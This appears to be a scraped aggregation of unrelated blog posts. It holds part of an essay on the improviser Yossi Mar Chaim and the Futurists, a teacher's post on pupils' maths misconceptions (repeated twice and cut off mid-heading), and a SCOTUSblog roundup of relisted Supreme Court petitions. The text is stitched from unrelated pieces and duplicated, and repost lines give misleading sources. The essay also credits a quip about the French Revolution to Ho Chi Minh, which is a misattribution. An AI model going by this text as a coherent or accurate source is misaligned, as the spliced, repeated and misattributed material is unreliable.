We segway quite naturally to Mar Chaim’s piece Intonarumori, named after the mechanical noise generators attributed to the Italian Futurist, Luigi Russolo. In Intonarumori we hear a sort of post-modern summary of musical ideas and texts by the Futurists, but manage to also get a glimpse of the finesse so characteristic of Mar Chaim’s music. Here is a composer truly looking back at ideas a century old, and through a new musical form, making sense of them in a manner the original composers were never able to achieve. Upon listening to Zang Tumb Tumb by another Futurist composer, Filippo Marinetti, I query regarding the difference between the Dadaists and the Futurists. Mar Chaim responds immediately as someone who isn’t faced with this challenge for the first time, and explains that whereas the Dadaists were negativists in the purest sense, the Futurists were very serious regarding the new world order they suggested. In Zang Tumb Tumb, Tells us Mar Chaim, Marinetti asks to paint, through sound, a picture of war – perhaps glorifying, perhaps romantic in essence, but no doubt serious. The work of Kurt Schwitters (that prompts the whole discussion on this topic) asks to pose questions, ridicule and mainly negate.

I continue with a question that harrows me, asking whether Mar Chaim himself doesn’t find it strange (not to mention dangerous) that we (both he at 75, and myself at 37) are still continuing a trajectory that started more than a hundred years ago. Unfazed, Mar Chaim claims that my question reveals that I personally view us, creative beings in history, as beings on a linear timeline (and right he was in claiming that). “Why is forward the only direction we can imagine? Can we not explore upwards, and sideways, and in many directions that seem to carry no relevance to that same linear trajectory you imagine? “I would like to see myself as ever expanding, assuming a point in time allows the freedom to travel in any direction and not only one!” Mar Chaim closes with this interesting anecdote regarding Ho Chi Minh, the great victor of the Vietnam War: Upon being asked to predict whether the French Revolution was a success, Ho Chi Minh replied: “It is too soon to tell”.

In immediate connection to the above, Mar Chaim discloses that his improv setup consists of artefacts that Walter Benjamin would have deemed Outmoded. Using, amongst many others, tape cassettes from the mid 60s, old film rolls and cameras, and even a defunct leaf shredder (used as instrument in its own accord, as well as sort of makeshift feeding mechanism of tape into tape player), Mar Chaim takes on the Benjamin tenet and exposes these artefacts in a new, artistic light. Benjamin claims that Outmoded technology ceases to interest a market once a newer, better version reaches its public. However, artistically, these defunct artefacts are now given a miraculous second life through art, like the completely deformed wax of a candle allowed to burn anew. Art allows us to revisit the past in a new light, understand it for what it really was, or see it in a way it’s never been seen before. Mar Chaim likens this to the many freedoms J.S. Bach allowed himself with a then almost defunct form, the Fugue. In fact, upon thinking about it, I can almost imagine Bach asking the same question Yossi Mar Chaim does – why should I only develop this form forward? At any given point, I can expand into any direction!

#Experimental Israel #Free Improvisation #Ophir Ilzetzki #Yossi Marchaim #אלתור #יוסי מר חיים #ישראל הנסיונית #אופיר אילזצקי

[careergrowthblog]

Common Maths Struggles – some examples.

This combines a couple of old posts that I recently revisited – because the challenges remain!  Working with teachers from primary to FE, I’ve found it fascinating to consider the areas of maths that students find difficult and the processes we need to consider when teaching them to overcome these difficulties.  It seems to me that, when students struggle, the key challenge is to get the balance and sequencing right between time spent building  more secure routines and time spent developing more secure, fundamental mental models.   Sometimes, the fundamentals emerge after lots of practice; sometimes the models need to come first for the routines to make any sense.  The really tricky bit is that this varies for different concepts and different learners.

I don’t have a neat set of proven strategies here; I’m just going to share some of the things I’ve discussed with maths colleagues as a non-specialist over the years. It’s more a list of questions and observations than solutions. If you teach maths you may find all of this blindingly obvious but, here, I’m an outsider looking into your world.

Times Tables and Division

At a primary-secondary Transition Forum, this was a key topic. We discussed the reasons behind children arriving to Year 7 without secure knowledge of their tables.  From the primary perspective, this isn’t for want of trying.  Routine recall tests are ubiquitous; they practise them all the time.  Secondary teachers often use times tables tests as lesson starters (one example being the excellent Times Tables Rock Stars developed by Bruno Reddy https://ttrockstars.com/  @MrReddyMaths) ; but even at KS4, not every student is secure. Crucially, the insecurity is strongest in division mode (eg 56÷8=7). There seems to be a need for a stronger emphasis on the mechanics of multiplication (eg array of 56 made from 8 rows of 7) as well as locking-in rote recall.

When students in Y8 are struggling with short division, they’re often confused by the language; they use 56 divided 8 and 8 divided by 56 interchangeably; the idea that finding ‘ how many 8s go into 56’ is the same as ‘divided by’ isn’t obvious to everyone. It’s more tricky when they are faced with remainders: eg how many 8s go into 54 – being able to see quickly that it is 6 with a remainder. Weaker students still count up..8,16,24,32,40,48…56 is too far  – which slows them down enormously, as opposed to homing in on 48 as a known multiple and then finding the remainder.

A suggestion from one primary teachers was that tables should be learned four ways all of the time, all mixed in. 8×7, 7×8, 56÷8, 56÷7.  We don’t do enough division early on so some children might see the operations as separate. Rote chanting and all the wall charts that count up in 5s, 6s and so on, don’t emphasise the reciprocal patterns or the divisions enough.

 Dividing by 10. Place value and knocking noughts off.

In one lower sets, I am often fascinated with the struggles over this. 70÷10=7; 40÷10=4 no problem. But 10÷10? Baffling. How could it be 1? The idea of a number being divided by itself seemed to throw them.  How many 5s in 5? It just seemed weird to them.. they wanted so say 5? There’s just five. Not 1. One 5 in 5; one 10 in 10 – this isn’t obvious to everyone!  In terms of the method, we’ve talked about the understanding of dividing by 10 in terms of shifting the decimal point, moving down in powers-of-10 base units and the practice of knocking noughts off.  There’s the awkwardness that a deeper method based on place value leads to students writing 70÷10= 7.0 which isn’t appropriate for integers – but the ‘knock a nought off’ short cut works, even though it is less rigorous as a general rule.  Adding units and currency adds another dimension.  £8 divided by 10 yield incorrect answers of £0.8 and ‘8p’ instead of £0.80 and 80p.  Meanwhile 8kg ÷10 is 0.8kg.  The need for the extra zero for currency but not for other units is a source of confusion.

10% of 10 is 1: What’s 20% of 20? 

The problem with 10% is that it is a special case where dividing by 10 is the same as multiplying by 10/100.  If students repeat the wrong pattern, they get confused. I’ve seen 20% of 20 as 1 (20/20) and 2 (just multiplying up by 2).  The link from percentages to fractions is important here:  100= 5×20; 20% is equivalent to 1/5; 25% to  1/4 and so on. Repeated mechanical operations with 10% can undermine rather than reinforce the general concept.

Reverse Percentages

This is tougher than it looks. If Something bought with 30% off costs £84, how much was it originally? Recognition that the £84 is 70/100 or 0.7 of the original is needed. The intuition that the answer is £84÷0.7 isn’t that straightforward.  Conceptually it is easier to go through £84 = 70%, so 1% is £84/70; then 100% is then 100 x the answer. However, with increases (eg the wages went up by 12% to £280, what were they before)  some students seem to struggle with the ‘find 1%’ model; it’s easier for them to see 1.12 as a scale factor to divide by.  There’s something about dividing by numbers smaller than 1 that makes students doubt themselves whereas dividing by a number bigger than 1 seems logical.

Fractions and Decimals on the Number line

How intuitive is it that 2/7, 3/10, 4/10 and 3/7 are in ascending order? It is if you convert to a common denominator ( 20,21, 28 and 30 70ths respectively) or decimals – 0.29, 0.3, 0.4, 0.43.  The jump from slices of pie and shaded squares in a grid up to the number line is really important and sometimes difficult to make.  I find that some students have a weak mental model of fractions as decimals; that ability to estimate relative value. For some it’s as though 5/8 has no actual size – it is just a sum to perform.  I’ve said in another blog post that the number line is probably the most important diagram of all time; a trick seems to be to make students as happy with the 0.00 to 1.00 scale as they are with the 0 to 100 scale.  It’s more of a leap than it should be at first glance.

Rules and Short-Cuts. 

My son asked me recently what -1÷ -1 was. He said ‘do you just cancel the minuses or is it true because any number divided by itself is 1?).  We talked about multiplying both top and bottom by -1 (ie by the same thing) so that you get 1 ÷1.  Then he could see how it all linked.  He was losing the logical link with other operations after repeated application of the ‘minuses cancel’ short-hand.

This happens with simple rearrangement of equations.  x + 2 = 10 leads to x = 10 -2.  Often students and some teachers talk about ‘taking the 2 over to the other side’ instead of the more fundamental idea of ‘subtracting 2 from both sides’. Similarly with something like x = 60/ y;  This means that xy = 60.  We have not just ‘taken the y over to the other side and put it on top’; we’ve multiplied both sides by y. I think we need to careful not to lose the fundamentals in the short-cuts because students come unstuck later on.

Another one of these is with common denominators and cross-multiplying when adding and subtracting fractions. With students who are struggling with adding fractions (even in Y11) it’s fair enough to focus on the drill: cross-multiply because it works every time.

3/4 + 5/11 will be found by writing (3×11 + 5 x4)/44.  It works.  However, the fundamentals of finding a common denominator by appropriate selection of a multipliers for both numerator and denominator – can be lost. That understanding is necessary for some algebraic fractions and higher order questions where cross multiplying makes things more complex instead of factorising the denominators and simplifying.

A final area under this category is in column subtraction versus chunking. If you’re asked to find 328 – 189, it’s easy to break it up: 11 up to 200, + 100 and a further 28 makes 139. Done. However, this isn’t always sensible or easy so the column version with borrowing and carrying of 100s, 10 and units is important too. How much time to give to each method? That’s a tough one with lots of variables but it must be both in combination.

Equations. Putting the numbers in; the concept of variables.

As a physics teacher I know full well that some students benefit hugely from repeated use of triangles like S=D/T and V = IR. They can use them in different arrangements to bang the numbers in long before they really understand the physics. Voltage and Current are basically ‘electricity’ to lots of people who can still use V=IR.  Similarly, in maths, in our discussions we’ve considered whether the concept of forming equations for a new scenario needs to be modelled lots of times before it makes sense in terms of the general concept of ‘variables’ and algebraic substitution.

Find the Salary for d days paid at £12 per day.  S = 12d;  Find the taxi fare F if it’s £10 per journey plus £3 per mile m; F = 10 + 3m.   And so on.  Once you see lots of these in action, the concept seems clear. But if you start with the concept, it can seem a bit abstract.

Proof and ‘Show that’

The concept of proof is fascinating.  It was great to see the parallel lines proof in a lesson last week.   I don’t know if the exterior angles proof is any more fundamental than the alternate angles proof – and they both require some ground work to show that some basic concepts are defined and don’t require proof. In the appropriate context, they’re both worth doing as is the simple but wonderful act of ripping all the corners off ANY triangle so show they form a straight line.  But before you explore any specific proof, it seems that you need to explain why things needs to be proven at all. The angles in a triangle add up to 180 because they just do; it’s a fact we’re told.  That’s where kids often start from.

It was interesting to see students struggle with text-book questions linked to formulae that were posed as “Show that” S is £36 if the man works for 3 days.  They wanted to use the number 36 in the calculation rather than see this as the answer to be found. ‘Show that’ isn’t intuitive it appears.

Powers of 10...scaling number bonds up and down.

I’m interested in the extent to which students find it hard to move beyond certain limits of numbers even though all the basic patterns are replicated at higher or lower orders.  33 and 67 are bonded to 100 (if that’s the phrase); 325 and 675 are bonded to 1000.  So far so good.  303 and 697 – got it.  But 3034 and 6966 as bonded to 10000 or a similar delve into decimals can seem confusing – especially with stray zeros. My feeling is that children spend too long in the comfort of the 0-100 range at an early stage; that is probably because it feels necessary to secure understanding there as a platform.  However, I’d suggest we need to be bolder and Go Big and Small earlier.

In a Y8 science lesson last term I was asking students to imagine how many atoms were in small droplet. They went from a million to a billion to 10 billion… but then they could only imagine multiples: 20 billion,  30 billion… no longer going up in powers of 10. It was as if they’d reached a conceptual ceiling with how big numbers can get.  That was fascinating. Beyond about 50 billion it was just “really really big; bigger than I can imagine”.  And the same goes the other way.

Algebra:

As a teacher I was once dismayed to discover how many of my students got the answer wrong to:

Simplify t2 + t2. 

Most of them had written t2 + t2 = t4    instead of  t2 + t2 = 2t2

This was in a synoptic test, a few weeks after we had covered this topic in class.  At the time, in the lessons, they were whizzing through this stuff.  I had built it up slowly.  pen + pen = two pens;  4 + 4 = 2×4; p + p = 2p and so, obviously, t2 + t2 = 2t2.   

At the time, they were all seemed secure with this.  Any term + the same term = two x that term, including more complicated terms:

pt2s3 + pt2s3 = 2pt2s3

If’ we had stopped there, they would probably have been ok.  But we had also gone further, exploring indices and patterns such as this:

t x t = t2 t x t x t = t3 t x t x t x t = t4 (t x t) x (t x t) = t4 t2 x t2 = t4

Even though, at the time, we had practised various variations of this and students were getting questions right, evidently this was not making a shift in their mental models.  That final line introduces the link between  t2 x t2  and  t4  .  In their world, largely governed by surface learning, that connection is strong enough to override their thinking around the operations + or x.  It is common for them to want to remember answers rather than methods so t2 + t2 = t4   beat t2 + t2 = 2t2.

Perhaps it was because it was the most recent thing we’d done in algebra; perhaps it was because it feels more sophisticated to write t4 , but, regardless of the reason, I learned that their mental model for the whole business was weaker than I realised.   When faced with a question, garbled surface recall dominated over deeper conceptual understanding.  Once you put numbers in it always more obvious; they get that 9 +9 is not the same as 9 x9. But, in algebraic form, the abstraction overrides their number models.

One girl even stubbornly challenged me. No! That’s wrong sir. t2 + t2 IS t4 .  The way she had remembered it instead of understanding it was so strong, she didn’t believe me.  We had to go over it all again, step by step.  I had to pull down her badly remembered model, fixed firmly in her head to replace it with mine.  This told me that I hadn’t done enough of that.  We need to mix up the questions, use more wrong answer/spot the mistake questions in future and, generally reinforce the meaning of the algebra over and over again.

Another example came from a simple introductory exercise around making formulae to solve problems.  For example, writing a formula for the perimeter of a shape.  The diagram given was this.  Write a formula for the perimeter in terms of s.

One of my students had written  P = 4 + S.   This took be aback.  Her explanation: there are four sides, so you add four to S to get the perimeter. She hadn’t simply replaced a times with a plus.  We talked about how S was a length… 4 is a number of sides; they are numbers on different scales, doing different jobs.  This seemed beyond her.  It made more sense when we labelled the diagram fully: 

Now she could see it was S +S + S+ S = 4 lots of S, hence 4S.  So, the problem came from being able to see how the number 4 and the variable S combined.  It wasn’t immediately obvious to her that multiplication was the appropriate operation.  This is worrying. She’s in Year 10 – but we have to work with the students we have, helping them to develop a stronger sense of the meaning of numbers and mental models for the various operations.  The difficulty is that, at this age, they often just want short-cut, surface memory techniques to get through it all and that just isn’t enough.

I could go further: vector addition and first order differentiation were two of the other topics I have observed being taught where the same general pattern of thought applies. What are the fundamentals? What are the short-hand drills?  Where do we begin… letting the deeper understanding emerge from the routine practice or to go deep from the start?   I think that what matters is that, whichever route is chosen, it is done deliberately.  Similarly with all the other conceptual challenges above; if we know where they might be, we might be better prepared to help students overcome them.

Links to previous posts about maths: 

1. Level 6 Maths at KS2 – what’s the problem?

2. Owning the problem is part of the solution. 

3. https://teacherhead.com/2015/09/26/maths-mindsets-my-y10s/

Common Maths Struggles – some examples. published first on https://medium.com/@KDUUniversityCollege

[maxwellyjordan]

Relist Watch

John Elwood reviews Monday’s relists.

April is a tricky time. By this late in the year, my skin is usually burned – although since I graduated from law school, that most often results from me setting the monitor contrast wrong. But there’s a new reason for my pallor this year. Under the new calendar – I’m talking here about the one that eliminated spring – it’s January 110th. On the plus side, I haven’t seen any mosquitoes yet.

There is enough action on the relist front this week that I’ll keep preliminaries to a minimum. This week saw the departure of what I believe to be the second-most relisted case of all time, Sykes v. United States, 16-9604, which leaves after 17(!) relists. It and the thrice-relisted Brown v. United States, 17-6344, both challenged Armed Career Criminal Act enhancements that rested on Missouri second-degree burglary convictions. The Supreme Court sent both back to the U.S. Court of Appeals for the 8th Circuit for further consideration in light of that court’s recent en banc decision holding that Missouri’s second-degree burglary statue is not a “violent felony” for ACCA purposes.

New week, new ACCA cases. The likeliest grant this week seems to be the government’s cert petition in United States v. Stitt, 17-765, which presents the question whether a conviction for burglary of a nonpermanent or mobile structure that is adapted or used for overnight accommodation can qualify as “burglary” under ACCA, 18 U.S.C. § 924(e)(2)(B)(ii). The petition seeks review of the en banc decision of the U.S. Court of Appeals for the 6th Circuit holding (over the dissent of six judges) that the robbery of nonpermanent or mobile structures does not qualify. The court has relisted that case and fellow-travelers United States v. Sims, 17-766, out of the U.S. Court of Appeals for the 8th Circuit, and Smith v. United States, 17-7517, out of the 7th. We’ll see if the court agrees with the government that Stitt is the best vehicle to address an issue that obviously arises a lot.

That brings us to what is undoubtedly this week’s most interesting group of cases. Courts have long held that notwithstanding the double jeopardy clause, the federal government can prosecute criminal conduct that has already been the subject of a state-court trial because different sovereigns are acting in each instance. This idea is commonly known as the “dual sovereignty” doctrine. This week, the court has relisted four cases (and rescheduled a fifth) that seek to revisit that doctrine. I had long been puzzled because three cases presenting this issue had sat without action on the court’s docket since early January – Gamble v. United States, 17-646, Tyler v. United States, 17-5410, and Ochoa v. United States, 17-5503. With this week’s relists, we finally know why: The court was waiting for the government to file its brief in opposition in a fourth case raising the issue, Gordillo-Escandon v. United States, 17-7177. The fifth (rescheduled) case, has by far the best name: Bearcomesout v. United States, 17-6856. As you might have guessed given the caption, it involves whether dual sovereignty bars a federal prosecution after the defendant has been tried in Indian tribal court. It would be a big deal if the court grants review, but I have a sneaking suspicion that this is more dissent–from–denial-of-cert material.

The last criminal case is Bucklew v. Precythe, 17-8151, a habeas corpus petition involving a death-row inmate’s challenge to Missouri’s method of execution. You may want to skip to the next paragraph now. Bucklew argues that his rare medical condition – cavernous hemangioma, which causes inoperable, blood-filled tumors to grow in his throat and around his face, head, and neck, and which are susceptible to rupturing – will render Missouri’s lethal injection procedure extremely painful, and will likely cause him to feel as though he is choking on his tumors and to aspirate his own blood.

Finally, the court does do some civil cases from time to time.  Frank v. Gaos, 17-961, features the rare case when a well-known appellate lawyer appears as the named petitioner, rather than as counsel. Ted Frank asks the Supreme Court to put an end to the use of a trust-law doctrine known by the legal French term “cy pres” in class-action settlements. Frank argues that the doctrine is being abused to funnel settlement money to charities favored by class counsel. The case involves a judgment of the U.S. Court of Appeals for the 9th Circuit upholding a class-action settlement against Google that gave no money to the class members but awarded $5.3 million to third parties, including class counsel’s alma maters.

The Supreme Court on Tuesday affirmed a decision by Judge Stephen Reinhardt, the “liberal lion of the [U.S. Court of Appeals for] the 9th Circuit” who died in late March at the age of 87. Although some speculated that Sessions v. Dimaya would be the last Reinhardt case to be reviewed by the Supreme Court, Lamps Plus, Inc. v. Varela, 17-988, might yet hold that distinction. Indeed, the petitioner’s counsel identified Reinhardt by name on the “question presented” page. The case asks whether the Federal Arbitration Act forecloses a state-law interpretation of an arbitration agreement that would authorize class arbitration based solely on general language commonly used in arbitration agreements. Although the arbitration clause did not mention class arbitration, the court of appeals, by a 2-1 vote in a memorandum opinion, inferred mutual assent to class arbitration from the more general language of the arbitration agreement, such as the statement that “arbitration shall be in lieu of any and all lawsuits or other civil legal proceedings relating to … employment.” Judge Ferdinand Fernandez, in dissent, characterized the opinion as a “palpable evasion of Stolt-Nielsen S.A. v. AnimalFeeds Int’l Corp., 559 U.S. 662, 684-85 (2010),” which, the petition notes, stated that courts may not presume consent to class arbitration from “mere silence on the issue of class arbitration” or “from the fact of the parties’ agreement to arbitrate.” In this as in so many things, wording is critical. The petition ends with a plea for summary reversal. Which, given the current state of things, will certainly not be summery reversal.

I’ll be here all week. Remember to tip your waitresses.

Thanks to Kent Piacenti for compiling the cases in this post.

  New Relists

Gamble v. United States, 17-646

Issue: Whether the Supreme Court should overrule the “separate sovereigns” exception to the double jeopardy clause.

(relisted after the April 13 conference)

  United States v. Stitt, 17-765

Issue: Whether burglary of a nonpermanent or mobile structure that is adapted or used for overnight accommodation can qualify as “burglary” under the Armed Career Criminal Act of 1984, 18 U.S.C. § 924(e)(2)(B)(ii).

(relisted after the April 13 conference)

  United States v. Sims, 17-766

Issue: Whether burglary of a nonpermanent or mobile structure that is adapted or used for overnight accommodation can qualify as “burglary” under the Armed Career Criminal Act of 1984, 18 U.S.C. § 924(e)(2)(B)(ii).

(relisted after the April 13 conference)

  Frank v. Gaos, 17-961

Issue: Whether, or in what circumstances, a cy pres award of class-action proceeds that provides no direct relief to class members supports class certification and comports with the requirement that a settlement binding class members must be “fair, reasonable, and adequate.”

(relisted after the April 13 conference)

  Lamps Plus, Inc. v. Varela, 17-988

Issue: Whether the Federal Arbitration Act forecloses a state-law interpretation of an arbitration agreement that would authorize class arbitration based solely on general language commonly used in arbitration agreements.

(relisted after the April 13 conference)

  Tyler v. United States, 17-5410

Issue: Whether the Supreme Court should overrule the dual sovereignty exception, which permits a successive federal prosecution after a defendant has been prosecuted for the same offense in state court.

(relisted after the April 13 conference)

  Ochoa v. United States, 17-5503

Issues: (1) Whether the double jeopardy clause of the Fifth Amendment prohibits the federal government from charging, convicting and sentencing a person who has already been charged, convicted and sentenced in the court of a state for much of the same conduct; and (2) whether the seriousness of the offense conduct is an appropriate consideration for a district court when fashioning a sentence on revocation of supervised release.

(relisted after the April 13 conference)

  Gordillo-Escandon v. United States, 17-7177

Issue: Whether, when a criminal defendant has already been convicted of an offense in a state criminal proceeding, the United States may thereafter prosecute the defendant for the same offense without violating the Fifth Amendment’s prohibition on double jeopardy.

(relisted after the April 13 conference)

  Smith v. United States, 17-7517

Issue: Whether the statement of general principle that a burglary of a vehicle is not generic burglary within the meaning of the Armed Career Criminal Act because vehicles are not buildings allows generic burglary status when the vehicle is a dwelling place.

(relisted after the April 13 conference)

  Bucklew v. Precythe,  17-8151

Issues: (1) Whether a court evaluating an as-applied challenge to a state’s method of execution based on an inmate’s rare and severe medical condition should assume that medical personnel are competent to manage his condition and that procedure will go as intended; whether evidence comparing a state’s method of execution with an alternative proposed by an inmate must be offered via a single witness, or whether a court at summary judgment must look to the record as a whole to determine whether a factfinder could conclude that the two methods significantly differ in the risks they pose to the inmate; and (3) whether the Eighth Amendment requires an inmate to prove an adequate alternative method of execution when raising an as-applied challenge to the state’s proposed method of execution based on his rare and severe medical condition.

(relisted after the April 13 conference)

  Returning Relists

Azar v. Garza, 17-654

Issue: Whether, pursuant to United States v. Munsingwear, Inc., the Supreme Court should vacate the U.S. Court of Appeals for the District of Columbia Circuit’s judgment and instruct that court to remand the case to the district court with directions to dismiss all claims for prospective relief regarding pregnant unaccompanied minors.

(relisted after the January 12, January 19, February 16, February 23, March 2, March 16, March 23, March 29 and April 13 conferences)

  Allen v. United States, 17-5864

Issues: (1) Whether the petitioner’s mandatory guidelines sentence, which was enhanced under the residual clause of U.S.S.G. § 4B1.2, is unconstitutional in light of the Supreme Court’s decision in Johnson v. United States, and whether a conviction for burglary of a dwelling under Florida law qualifies as a “crime of violence” under U.S.S.G. § 4B1.2’s elements clause; and (2) whether published orders issued by a circuit court of appeals under 28 U.S.C. § 2244(b)(3), and in the context of applications to file second or successive 28 U.S.C. § 2255 motions, constitute binding precedent outside of that context.

(relisted after the February 16, February 23, March 2, March 16, March 23, March 29 and April 13 conferences)

  Gates v. United States, 17-6262

Issues: Whether, under the Supreme Court’s opinions in United States v. Booker, Johnson v. United States and Beckles v. United States, which depended heavily upon the distinction between advisory and mandatory sentencing schemes, the residual clause of the mandatory sentencing guidelines is unconstitutionally vague.

(relisted after the February 16, February 23, March 2, March 16, March 23, March 29 and April 13 conferences)

  James v. United States, 17-6769

Issues: Whether, under the Supreme Court’s opinions in United States v. Booker, Johnson v. United States and Beckles v. United States, which depended heavily upon the distinction between advisory and mandatory sentencing schemes, the residual clause of the mandatory sentencing guidelines is unconstitutionally vague.

(relisted after the February 16, February 23, March 2, March 16, March 23, March 29 and April 13 conferences)

  Sause v. Bauer, 17-742

Issue: Whether the U.S. Court of Appeals for the 10th Circuit’s holding that law-enforcement officers who stopped the petitioner from praying silently in her own home were entitled to qualified immunity because there was no prior case law involving similar facts conflicts with Hope v. Pelzer, which “expressly rejected a requirement that previous cases be ‘fundamentally similar’” or involve “‘materially similar’” facts.

(relisted after the February 23, March 2, March 16, March 23, March 29 and April 13 conferences)

  Evans v. Mississippi, 17-7245

Issue: Whether the death penalty in and of itself violates the Eighth Amendment in light of contemporary standards of decency and the geographic arbitrariness of its imposition.

(relisted after the February 23 and March 2 conferences; rescheduled after the March 16 conference; rescheduled before the March 29, April 13 and April 20 conferences)

  Robinson v. United States, 17-6877

Issue: Whether, following Johnson v. United States, in which the Supreme Court invalidated the Armed Career Criminal Act’s residual clause as unconstitutionally vague, identical language in the residual clause of the previously-mandatory sentencing guidelines is likewise unconstitutional.

(relisted after the March 2, March 16, March 23, March 29 and April 13 conferences)

  Trevino v. Davis, 17-6883

Issue: Whether — when the U.S. Court of Appeals for the 5th Circuit found that the new mitigating evidence discovered on federal habeas review was “double-edged” and could not outweigh the substantial aggravating evidence, and when it misapplied the standard for evaluating prejudice in a Wiggins claim — it denied the petitioner due process.

(relisted after the March 29 and April 13 conferences)

The post Relist Watch appeared first on SCOTUSblog.

from Law http://www.scotusblog.com/2018/04/relist-watch-122/ via http://www.rssmix.com/

#law #justice

[careergrowthblog]

Common Maths Struggles – some examples.

This combines a couple of old posts that I recently revisited – because the challenges remain!  Working with teachers from primary to FE, I’ve found it fascinating to consider the areas of maths that students find difficult and the processes we need to consider when teaching them to overcome these difficulties.  It seems to me that, when students struggle, the key challenge is to get the balance and sequencing right between time spent building  more secure routines and time spent developing more secure, fundamental mental models.   Sometimes, the fundamentals emerge after lots of practice; sometimes the models need to come first for the routines to make any sense.  The really tricky bit is that this varies for different concepts and different learners.

I don’t have a neat set of proven strategies here; I’m just going to share some of the things I’ve discussed with maths colleagues as a non-specialist over the years. It’s more a list of questions and observations than solutions. If you teach maths you may find all of this blindingly obvious but, here, I’m an outsider looking into your world.

Times Tables and Division

At a primary-secondary Transition Forum, this was a key topic. We discussed the reasons behind children arriving to Year 7 without secure knowledge of their tables.  From the primary perspective, this isn’t for want of trying.  Routine recall tests are ubiquitous; they practise them all the time.  Secondary teachers often use times tables tests as lesson starters (one example being the excellent Times Tables Rock Stars developed by Bruno Reddy https://ttrockstars.com/  @MrReddyMaths) ; but even at KS4, not every student is secure. Crucially, the insecurity is strongest in division mode (eg 56÷8=7). There seems to be a need for a stronger emphasis on the mechanics of multiplication (eg array of 56 made from 8 rows of 7) as well as locking-in rote recall.

When students in Y8 are struggling with short division, they’re often confused by the language; they use 56 divided 8 and 8 divided by 56 interchangeably; the idea that finding ‘ how many 8s go into 56’ is the same as ‘divided by’ isn’t obvious to everyone. It’s more tricky when they are faced with remainders: eg how many 8s go into 54 – being able to see quickly that it is 6 with a remainder. Weaker students still count up..8,16,24,32,40,48…56 is too far  – which slows them down enormously, as opposed to homing in on 48 as a known multiple and then finding the remainder.

A suggestion from one primary teachers was that tables should be learned four ways all of the time, all mixed in. 8×7, 7×8, 56÷8, 56÷7.  We don’t do enough division early on so some children might see the operations as separate. Rote chanting and all the wall charts that count up in 5s, 6s and so on, don’t emphasise the reciprocal patterns or the divisions enough.

 Dividing by 10. Place value and knocking noughts off.

In one lower sets, I am often fascinated with the struggles over this. 70÷10=7; 40÷10=4 no problem. But 10÷10? Baffling. How could it be 1? The idea of a number being divided by itself seemed to throw them.  How many 5s in 5? It just seemed weird to them.. they wanted so say 5? There’s just five. Not 1. One 5 in 5; one 10 in 10 – this isn’t obvious to everyone!  In terms of the method, we’ve talked about the understanding of dividing by 10 in terms of shifting the decimal point, moving down in powers-of-10 base units and the practice of knocking noughts off.  There’s the awkwardness that a deeper method based on place value leads to students writing 70÷10= 7.0 which isn’t appropriate for integers – but the ‘knock a nought off’ short cut works, even though it is less rigorous as a general rule.  Adding units and currency adds another dimension.  £8 divided by 10 yield incorrect answers of £0.8 and ‘8p’ instead of £0.80 and 80p.  Meanwhile 8kg ÷10 is 0.8kg.  The need for the extra zero for currency but not for other units is a source of confusion.

10% of 10 is 1: What’s 20% of 20? 

The problem with 10% is that it is a special case where dividing by 10 is the same as multiplying by 10/100.  If students repeat the wrong pattern, they get confused. I’ve seen 20% of 20 as 1 (20/20) and 2 (just multiplying up by 2).  The link from percentages to fractions is important here:  100= 5×20; 20% is equivalent to 1/5; 25% to  1/4 and so on. Repeated mechanical operations with 10% can undermine rather than reinforce the general concept.

Reverse Percentages

This is tougher than it looks. If Something bought with 30% off costs £84, how much was it originally? Recognition that the £84 is 70/100 or 0.7 of the original is needed. The intuition that the answer is £84÷0.7 isn’t that straightforward.  Conceptually it is easier to go through £84 = 70%, so 1% is £84/70; then 100% is then 100 x the answer. However, with increases (eg the wages went up by 12% to £280, what were they before)  some students seem to struggle with the ‘find 1%’ model; it’s easier for them to see 1.12 as a scale factor to divide by.  There’s something about dividing by numbers smaller than 1 that makes students doubt themselves whereas dividing by a number bigger than 1 seems logical.

Fractions and Decimals on the Number line

How intuitive is it that 2/7, 3/10, 4/10 and 3/7 are in ascending order? It is if you convert to a common denominator ( 20,21, 28 and 30 70ths respectively) or decimals – 0.29, 0.3, 0.4, 0.43.  The jump from slices of pie and shaded squares in a grid up to the number line is really important and sometimes difficult to make.  I find that some students have a weak mental model of fractions as decimals; that ability to estimate relative value. For some it’s as though 5/8 has no actual size – it is just a sum to perform.  I’ve said in another blog post that the number line is probably the most important diagram of all time; a trick seems to be to make students as happy with the 0.00 to 1.00 scale as they are with the 0 to 100 scale.  It’s more of a leap than it should be at first glance.

Rules and Short-Cuts. 

My son asked me recently what -1÷ -1 was. He said ‘do you just cancel the minuses or is it true because any number divided by itself is 1?).  We talked about multiplying both top and bottom by -1 (ie by the same thing) so that you get 1 ÷1.  Then he could see how it all linked.  He was losing the logical link with other operations after repeated application of the ‘minuses cancel’ short-hand.

This happens with simple rearrangement of equations.  x + 2 = 10 leads to x = 10 -2.  Often students and some teachers talk about ‘taking the 2 over to the other side’ instead of the more fundamental idea of ‘subtracting 2 from both sides’. Similarly with something like x = 60/ y;  This means that xy = 60.  We have not just ‘taken the y over to the other side and put it on top’; we’ve multiplied both sides by y. I think we need to careful not to lose the fundamentals in the short-cuts because students come unstuck later on.

Another one of these is with common denominators and cross-multiplying when adding and subtracting fractions. With students who are struggling with adding fractions (even in Y11) it’s fair enough to focus on the drill: cross-multiply because it works every time.

3/4 + 5/11 will be found by writing (3×11 + 5 x4)/44.  It works.  However, the fundamentals of finding a common denominator by appropriate selection of a multipliers for both numerator and denominator – can be lost. That understanding is necessary for some algebraic fractions and higher order questions where cross multiplying makes things more complex instead of factorising the denominators and simplifying.

A final area under this category is in column subtraction versus chunking. If you’re asked to find 328 – 189, it’s easy to break it up: 11 up to 200, + 100 and a further 28 makes 139. Done. However, this isn’t always sensible or easy so the column version with borrowing and carrying of 100s, 10 and units is important too. How much time to give to each method? That’s a tough one with lots of variables but it must be both in combination.

Equations. Putting the numbers in; the concept of variables.

As a physics teacher I know full well that some students benefit hugely from repeated use of triangles like S=D/T and V = IR. They can use them in different arrangements to bang the numbers in long before they really understand the physics. Voltage and Current are basically ‘electricity’ to lots of people who can still use V=IR.  Similarly, in maths, in our discussions we’ve considered whether the concept of forming equations for a new scenario needs to be modelled lots of times before it makes sense in terms of the general concept of ‘variables’ and algebraic substitution.

Find the Salary for d days paid at £12 per day.  S = 12d;  Find the taxi fare F if it’s £10 per journey plus £3 per mile m; F = 10 + 3m.   And so on.  Once you see lots of these in action, the concept seems clear. But if you start with the concept, it can seem a bit abstract.

Proof and ‘Show that’

